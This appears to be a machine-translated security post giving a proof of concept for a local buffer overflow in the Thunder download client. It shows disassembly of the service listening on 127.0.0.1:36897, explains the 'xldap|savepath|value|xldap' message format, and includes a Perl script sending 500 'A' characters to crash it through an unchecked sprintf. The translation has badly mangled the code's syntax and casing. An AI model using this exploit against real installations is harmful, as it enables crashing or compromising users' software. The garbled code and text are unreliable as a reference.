Latest thunder local overflow POC

C: \> netstat-Na | find "36897"
TCP 127.0.0.1: 36897 0.0.0.0: 0 listening

What is the bound local IP address ?! It means that this is not remote and can only be local.
......
23132cbe 68 b4c61323 push 2313c6b4; ASCII "savepath"
23132cc3 57 push EDI
23132cc4 ffd6 call ESI
23132cc6 59 pop ECx
23132cc7 84c0 test Al, Al

......

23132cef 85ff test EDI, EDI
23132cf1 74 02 je short 23132cf5
23132cf3 8bcf mov ECx, EDI
23132cf5 B8 d4c61323 mov eax, 2313c6d4; ASCII "xldap"
23132cfa 50 push eax
23132cfb 52 push edX
23132cfc 51 push ECx
23132cfd 50 push eax
23132cfe 8d85 5 cfeffff Lea eax, dword ptr [ebp-1A4]
23132d04 68 c0c61323 push 2313c6c0; ASCII "% S | % s"
......

According to the above analysis, the format of data accepted by this port is xldap | A | B | xldap, A is the method, and B is the value. The problem lies in the savepath method. It is easy to construct data. The POC is as follows:
#! /Usr/bin/perl
Use IO: socket;

If ($ socket = IO: Socket: iNet-> New (peeraddr => "127.0.0.1", peerport => "36897", proto => "TCP "))
{
$ Exploit = "xldap | savepath | ".
# ("A" x 397 ).
("A" X 500 ).
"| Xldap ";

Print $ socket $ exploit;
Sleep (1 );
Close ($ socket );
}
Else
{
Print "cannot connect to localhost: 36897 port \ n ";
}
If you use python to write exp, you will be very depressed, because py will always give me an extra line feed, even if you use [:-1] This method is useless, depressed, at present, it is unclear whether it is the transfer process or the print process. Who knows why?
23132d09 50 push eax
23132d0a ff15 54e51323 call dword ptr [<& msvcrt. sprintf>]; crash
23132d10 8d85 5 cfeffff Lea eax, dword ptr [ebp-1A4]
Crash occurs when the sprintf function is copied.